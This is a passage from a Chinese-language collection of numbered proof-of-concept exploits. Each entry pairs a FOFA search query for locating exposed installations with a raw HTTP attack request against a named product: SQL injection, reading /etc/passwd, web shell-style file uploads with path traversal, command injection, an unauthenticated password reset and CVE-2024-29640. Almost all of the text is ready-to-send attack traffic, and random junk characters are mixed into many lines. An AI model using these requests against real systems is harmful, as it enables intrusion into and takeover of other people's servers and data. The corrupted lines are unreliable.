& u* v) N6 M+ u2 y: H5 H, JGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
6 z; O/ o) y: |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
# [0 ~  i( f4 t/ ?" q  qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) F2 r' M5 D/ g0 j: W: nAccept-Encoding: gzip, deflate
' s3 J, b) ?3 Q' g, xAccept-Language: zh-CN,zh;q=0.9
Connection: close
. V9 C2 D( L  l$ N
% O9 b$ Y" v5 O" m9 J
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
/ _6 c% K7 Y% y" X; U3 YPOST /index.php/admin/Userinfo/poihuoqu HTTP/2
1 b8 @+ w8 c7 v( e/ I' f& n% c/ g1 pHost: your-ip
" b6 h4 T/ W/ u7 g! x" P2 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
6 S5 s+ O0 g1 H: Z! T) _% u2 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
6 _/ v" b6 x5 h! x0 C  iAccept-Encoding: gzip, deflate
6 q% c, H% `# ^. W; f7 |7 NAccept-Language: zh-CN,zh;q=0.9
- h* i. ?: e+ [1 d1 ~
) g- i1 j( H2 S; p) ipoi=file:///etc/passwd
7 u' K5 n9 |9 L% \

191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
  X' T& B/ J! W* q9 QFOFA：body="/CDGServer3/index.jsp"
' T) L8 K0 v! q/ m' d! w, ^) }* JPOST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
: A+ Q+ `1 T3 ]
! f' b9 h3 Q# y* }# p  z7 kcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
# T) ~( J7 B1 R
& w5 _* s. ?( S. z
/ c9 h$ h" O& E% b9 V. b7 a192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
POST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
9 W1 j8 ~  h( ^$ ~9 nHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
# m( Q' g8 |; O4 X8 j; _# g0 |: r

<% @ webhandler language="C#" class="AverageHandler" %>
using System;
! k# r! v& h0 y# R9 W! T! Musing System.Web;
2 N4 U, p! V& |0 xpublic class AverageHandler : IHttpHandler
{
# }( b3 x" n1 H+ T: C+ `public bool IsReusable
( v4 w& O7 E7 g( p4 K8 E! b{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.Write("test");
}
}


! q7 H+ b1 A( J# E* m. h5 p3 u" f2 A193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
; s) U4 S; ]6 ?( e, E4 bHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0


3 F6 e! u  d7 _% P: O+ B1 f# S6 ]POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
  V; p5 O' u5 e* o) z( m( Z
& a9 Q( E! n, _0 h. Dparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')
8 b; q2 K: P, q9 C, x
! v- G  Y% Z. O+ i) k
+ M3 L) G+ d* A" Z7 @GET /master/img/config HTTP/1.1
6 f6 W2 |( K$ i! G0 o3 _8 lHost:
: ^7 o- k5 {, [+ }% g2 pUser-Agent: Mozilla/5.0


8 L4 {" Z* |- k5 W194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
. U: p3 n5 M5 J3 w$ UFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

POST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
9 Z3 q- Z& a! f" WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
! X7 R4 M( Q  T# `Connection: close
9 {, {/ e* ?/ i8 x' Z9 H+ ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
------WebKitFormBoundaryKNt0t4vBe8cX9rZk

Content-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
8 `! }, [5 z" G; ]2 o' O<% out.println("hello");%>
7 d; j/ U5 D7 M/ p0 d* ?* Y------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
------WebKitFormBoundaryKNt0t4vBe8cX9rZk--

) v; @' j8 n- Y0 f) o* `
* q& n& @$ `5 _" R- a* T" u195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
- x' z/ t6 j5 @FOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
0 m5 ^' i6 i7 ]/ WHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
- I, c8 e6 C% g4 i- {6 ~; KAccept: */*
Accept-Encoding: gzip, deflate
3 C: J' l* [9 T- B( jAccept-Language: zh-CN,zh;q=0.9
# P3 O/ r+ [8 t- XConnection: close
: W" B& ?6 n( r( `2 z% BContent-Type: application/x-www-form-urlencoded
Content-Length: 68
1 c# O. e4 n: c& b; U
5 |% m8 U: n$ k8 [' Z7 M5 Y/ C{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}


" I7 x1 a6 q/ f1 P196. 河南省风速科技统一认证平台密码重置
' m4 n: b) P6 o# s- N: ~FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
& B$ g/ k% ]7 N" c$ J+ F; R: _X-Requested-With: XMLHttpRequest
8 p  o# c* ~9 {$ T( U% t7 R# pHost:
, i" T& g) G; q0 f: t5 b: k) zAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
% U/ ~( Z; e9 Y+ ^Content-Length: 45
Connection: close
) t1 g! ^5 e& B- V: _
. I- {4 I2 I0 K; e: j2 `{"xgh":"test","newPass":"test666","email":""}
' ?3 q" I6 z1 u


9 ^$ }/ Q" u) X6 B3 A/ t197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
) |; j& ~# Y$ mGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
1 e3 q" @3 ^# mHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
5 X2 w$ @2 O! a! T- g- AAccept-Encoding: gzip, deflate
Connection: close



( Z: j! V4 t/ u1 K/ G1 c: x3 ]" n198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
. z, L- y  H8 d8 gGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
6 I/ S  E0 I4 A. {/ h" c* bConnection: close
, _! W6 x. j5 W# }( l

! u! h. M2 D; Q4 e7 O8 `- @$ L199. cockpit系统assetsmanager_upload接口 文件上传

2 o/ G  |  H9 |% {7 `/ J6 Z1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
GET /auth/login?to=/ HTTP/1.1

7 }- n2 [1 }9 R* z- g响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：
6 s! Y: s- _! r) G4 Z
POST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
4 C/ W. J+ j" D; ?( n- CFofa：title="Authenticate Please!"
4 t; d, g# U$ |POST /assetsmanager/upload HTTP/1.1
  q, y# E3 v7 J, pContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
" C0 s, x& T: j1 ~& ?4 V$ x. [Cookie: mysession=95524f01e238bf51bb60d77ede3bea92

-----------------------------36D28FBc36bd6feE7Fb3
/ B: Z$ m# E7 g" d$ jContent-Disposition: form-data; name="files[]"; filename="tttt.php"
  s9 [& W2 n! kContent-Type: text/php

0 ?3 V- r/ r7 E<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

-----------------------------36D28FBc36bd6feE7Fb3--


/storage/uploads/tttt.php
! j5 n1 {/ K% L+ i+ H- A$ q- O: S
/ c; J. A: A7 h* F; N7 d, I200. SeaCMS海洋影视管理系统dmku SQL注入
) ]+ U, b8 B; W' y. E; V% BFOFA：app="海洋CMS"
- v6 D2 T! L# e, V7 lGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
) L& w1 ^* {% z3 j- e$ G5 XCookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
4 ?  F: i, A6 m" v) X2 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- O2 c' b! `& I8 Y7 ZAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: d$ W$ s# u# j! D0 x/ l

201. 方正全媒体新闻采编系统 binary SQL注入
FOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
: _1 m  q4 k& ^2 bPOST /newsedit/newsplan/task/binary.do HTTP/1.1
4 c( a; g5 _3 c& L; T3 `  XContent-Type: application/x-www-form-urlencoded
" R7 v. n2 R/ u8 ~0 z& d' R8 jAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
  T: W5 q; Y# P, o1 D. n& I! n7 AAccept-Language: zh-CN,zh;q=0.9
Connection: close
3 [# z( @6 C6 r( [; N7 j; Z, s6 S+ B$ x
; f+ t" G$ v- }  D; M# w+ h7 bTableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1
# I" [+ k+ m8 S/ |

202. 微擎系统 AccountEdit任意文件上传
  k# U3 O/ J% R# z5 E) n  ZFOFA：body="/Widgets/WidgetCollection/"
+ V0 c- g) \3 F; }$ W: M获取__VIEWSTATE和__EVENTVALIDATION值
. r8 k! Q% d7 c, t+ |7 }* T5 a3 _GET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
7 {! ~% n/ r; g* t) F, TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
3 e0 |9 J. a# x3 I6 e% RContent-Length: 0
0 C2 `' _. G9 K2 E

替换__VIEWSTATE和__EVENTVALIDATION值
0 \& F' [2 i6 ]: APOST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
/ T3 C! y. ]" i$ v3 \8 s) b. _
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"
8 l( y  P7 ^+ }: k) V- v' ?) q
' A4 n8 c0 g! |__VIEWSTATE
4 |4 K  l# b% i$ [0 Z7 D2 o-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
. N5 i: U$ g# x/ t. s7 j  ^9 `
- m( D6 a6 C+ ]7 R. ?! ~) v__EVENTVALIDATION
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
9 j7 a* m: v% T: T) Y* A
9 ]. F$ O- C* g% W$ x7 l- hHello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
% t& S) N, y% B7 a& M/ X
上传图片
; y1 e0 _+ H5 F5 V-----------------------------786435874t38587593865736587346567358735687
5 A' Q9 J( X- N* LContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
; H, ^. z) g+ X+ e# [1 q
/ h, g4 ]5 I: c7 G
-----------------------------786435874t38587593865736587346567358735687--

0 b$ d9 U8 W+ Q$ Y$ b+ X! G) Q
/_data/Uploads/1123.txt
' ~3 ?; c/ i5 p- K5 @! \$ |
203. 红海云EHR PtFjk 文件上传
$ \2 g. Z+ K7 |% {- EFOFA：body="RedseaPlatform"
2 s  h$ `9 o3 r9 m* {# PPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
1 n8 F, M& x. j" p* MAccept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
& y1 m+ F. K1 x( V, d
7 }" H5 [) Y% z------WebKitFormBoundaryt7WbDl1tXogoZys4
* e2 x* I5 X+ K+ @, ^/ O) ZContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
* C5 d" D6 ~1 Q$ qContent-Type:image/jpeg

<% out.print("hello,eHR");%>
! o5 N6 E5 H* {3 M------WebKitFormBoundaryt7WbDl1tXogoZys4--
5 s' X) E6 C: G; p% m9 x  r8 ~6 T2 m
6 l9 D4 Z9 M7 D, |- f
5 l6 a& b7 {  z
7 R8 u3 Z$ o0 B) n  o